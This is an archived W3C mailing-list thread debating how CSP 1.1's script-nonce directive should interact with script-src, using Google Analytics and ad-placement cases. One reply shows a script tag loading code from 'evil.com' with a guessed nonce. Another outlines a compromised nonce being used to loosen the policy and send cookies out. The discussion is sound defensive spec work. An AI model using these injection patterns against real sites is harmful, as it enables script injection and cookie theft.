W3C home > Mailing lists > Public > public-webappsec@w3.org > January 2013

Re: Comment on Content Security Policy 1.1, Draft of Dec 12 2012

From: Yoav Weiss <yoav@yoav.ws>
Date: Tue, 8 Jan 2013 10:58:22 +0100
Message-ID: <CACj=BEgrC_LfeGkQbq9fMrSdduJstUQnHTuTD9k4SXOgsuJrRQ@mail.gmail.com>
To: Mike West <mkwst@google.com>
Cc: Adam Barth <w3c@adambarth.com>, Tanvi Vyas <tanvi@mozilla.com>, Florian Lasinger <florian@lasinger.org>, "public-webappsec@w3.org" <public-webappsec@w3.org>
My apologies for (apparently) asking the same question twice :)
I didn't realize the "or" relationship in discussion is only between
"script" and "script-nonce" in the *same* CSP header.

OTOH, the scenario you raised is even more disturbing.
I can see why "nonce" would be frequently used for performance purposes
with trusted inline scripts (and perhaps styles :) ).
I'm not sure "nonce" will be frequently used with external scripts though.
Wouldn't it be better to separate nonces for inline and external scripts,
so that compromise in one doesn't affect the other?

Yoav



On Tue, Jan 8, 2013 at 10:40 AM, Mike West <mkwst@google.com> wrote:

> I have two answers. :)
>
> First, an insecure `script-nonce` would allow an attacker to directly
> include scripts from `https://evil.com/` <https://evil.com/>: `<script
> src="https://evil.com/" nonce="not-very-secure">`. She wouldn't need to
> inject a new policy, the nonce gives her the keys to the kingdom.
>
> Second, as 3.1.1 attempts to make clear, "the user agent must enforce each
> of the policies contained in each such header field". Each policy is
> enforced independently, the policies are not _merged_. If the nonce wasn't
> present in both the injected policy and the original policy, it wouldn't
> have any effect, as the script tag would be evaluated by first the one and
> then the other. If it doesn't pass either of the policies, it wouldn't be
> allowed.
>
> Does that make sense? We'll certainly want to add some notes in the spec
> to make this less confusing.
>
> -mike
>
> --
> Mike West <mkwst@google.com>, Developer Advocate
> Google Germany GmbH, Dienerstrasse 12, 80331 München, Germany
> Google+: https://mkw.st/+, Twitter: @mikewest, Cell: +49 162 10 255 91
>
>
> On Tue, Jan 8, 2013 at 9:57 AM, Yoav Weiss <yoav@yoav.ws> wrote:
>
>> I think an "or" relationship between script-src and script-nonce can be
>> very convenient for developers, but doesn't it pose a security problem with
>> dynamically added CSP rules meta tags? If I understand correctly, it would
>> violate the "only stricter policies can be applied dynamically" rule. (
>> http://lists.w3.org/Archives/Public/public-webappsec/2012Dec/0054.html)
>>
>> Example:
>> A certain site has very strict CSP that only enable inline scripts with a
>> certain nonce.
>> Assuming that the nonce was compromised (not random enough, etc) and a
>> malicious script was able to run, that script can now add dynamic meta tags
>> that permit 'script-src' from its malicious host, permitting it to send
>> information (session id, cookies, etc) to its host and fetch more malicious
>> code if necessary.
>>
>> I realize the above example may not be a very common case, and it can be
>> circumvented by imposing more restrictions on dynamically added CSP rules,
>> but wouldn't a "script-inline-nonce" policy that has no effect on
>> "script-src" be a better separation?
>>
>> Yoav
>>
>>
>>
>> On Sat, Jan 5, 2013 at 10:16 PM, Adam Barth <w3c@adambarth.com> wrote:
>>
>>> At Google, we did some prototype implementations of CSP in several
>>> large web applications, and we found that the "or" behavior was very
>>> useful for whitelisting one or two critical inline script blocks that
>>> couldn't be moved out-of-line for performance reasons.
>>>
>>> As similar issue arises when using Google Analytics.  The script
>>> Google Analytics asks you to include in your page is roughly the
>>> following:
>>>
>>> var _gaq = _gaq || [];
>>> _gaq.push(['_setAccount', 'UA-XXXXXX-X']);
>>> _gaq.push(['_trackPageview']);
>>>
>>> (function() {
>>>   var ga = document.createElement('script'); ga.async = true;
>>>   ga.src = 'https://ssl.google-analytics.com/ga.js';
>>>   var s = document.getElementsByTagName('script')[0];
>>> s.parentNode.insertBefore(ga, s);
>>> })();
>>>
>>> The first stanza sets up an array that you can push commands onto, and
>>> then the actual script that executes scripts loads asynchronously (and
>>> then executes the commands once it loads).
>>>
>>> When using CSP, you still want to create the _gaq using an inline
>>> script block so that you can start pushing command immediately while
>>> still avoiding blocking the page to load an external script.  The
>>> script-nonce directive lets you do this without giving up your XSS
>>> protections.
>>>
>>> It's not really a problem to add https://ssl.google-analytics.com to
>>> your script-src directive.  However, it is annoying to need to add the
>>> nonce to every other script block, even the ones that you've already
>>> whitelisted via script-src (e.g., 'self').  With the "or" semantics,
>>> you can use CSP as you would before and just use the nonce to
>>> whitelist the one performance-critical inline script block.
>>>
>>> Adam
>>>
>>>
>>> On Tue, Dec 18, 2012 at 10:38 AM, Tanvi Vyas <tanvi@mozilla.com> wrote:
>>> > I think the "or" behavior would be helpful to sites that have sources
>>> they
>>> > don't know about until the last minute (i.e. ad placement).  The server
>>> > could inject a script nonce into the script tag and the csp header.
>>>  Then it
>>> > can later fill in the src attribute of the script tag once it knows
>>> which ad
>>> > is going to be placed on the site.  With the "and" behavior, the server
>>> > would have to wait until it has the advertisement before generating
>>> the csp
>>> > header (specifically the script-src directive).
>>> >
>>> > ~Tanvi
>>> >
>>> > On Dec 18, 2012, at 6:44 AM, Mike West <mkwst@google.com> wrote:
>>> >
>>> > Hi Flo, thanks for the feedback. I'll add an example to make the
>>> section
>>> > more clear.
>>> >
>>> > Regarding the behavior in general, I do think there's room for argument
>>> > about the interaction between the two directives. The currently
>>> specified
>>> > "and" behavior makes sense to me, and seems to have the best security
>>> > properties as it asks the developer to explicitly whitelist all
>>> possible
>>> > sources of script for a page via 'script-src', and then specifically
>>> allow
>>> > each in a given context via the nonce.
>>> >
>>> > It does seem to be surprising, however. You're certainly not the first
>>> to
>>> > note that the current behavior doesn't match your expectations.
>>> >
>>> > Changing the directive to more "or"ish behavior would mean that, given
>>> a
>>> > nonce, script from untrusted origins could be loaded. I don't think
>>> there's
>>> > a way to exploit that without already having script access to the
>>> page, but
>>> > I haven't thought about it enough to be sure.
>>> >
>>> > I'm interested in others' opinions. :)
>>> >
>>> > -mike
>>> >
>>> > --
>>> > Mike West <mkwst@google.com>, Developer Advocate
>>> > Google Germany GmbH, Dienerstrasse 12, 80331 München, Germany
>>> > Google+: https://mkw.st/+, Twitter: @mikewest, Cell: +49 162 10 255 91
>>> >
>>> >
>>> >
>>> > On Wed, Dec 12, 2012 at 4:51 AM, Florian Lasinger <
>>> florian@lasinger.org>
>>> > wrote:
>>> >>
>>> >> @chapter „4.12.2 Interaction with the script-src directive“
>>> >>
>>> >>
>>> >>
>>> >> The document contains one example for the case
>>> >>
>>> >> „nonce provided and correct / src not allowed by script-src
>>> directive“.
>>> >>
>>> >>
>>> >>
>>> >> There should be an example for the inverse case
>>> >>
>>> >> „no nonce provided / src allowed by script-src directive“.
>>> >>
>>> >>
>>> >>
>>> >> As it currently stands, the second case script would be rejected
>>> because
>>> >> it doesn’t have a nonce.
>>> >>
>>> >> Intuitively I would assume the script to be safe because it comes
>>> from a
>>> >> whitelisted origin.
>>> >>
>>> >>
>>> >>
>>> >> Therefore I would propose to restrict the relevant enforcing rule to
>>> only
>>> >> script tags with content.
>>> >>
>>> >>
>>> >>
>>> >>
>>> >>
>>> >> Sincerely,
>>> >>
>>> >> Flo
>>> >>
>>> >>
>>> >
>>> >
>>>
>>>
>>
>
Received on Tuesday, 8 January 2013 09:58:50 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Tuesday, 8 January 2013 09:58:50 GMT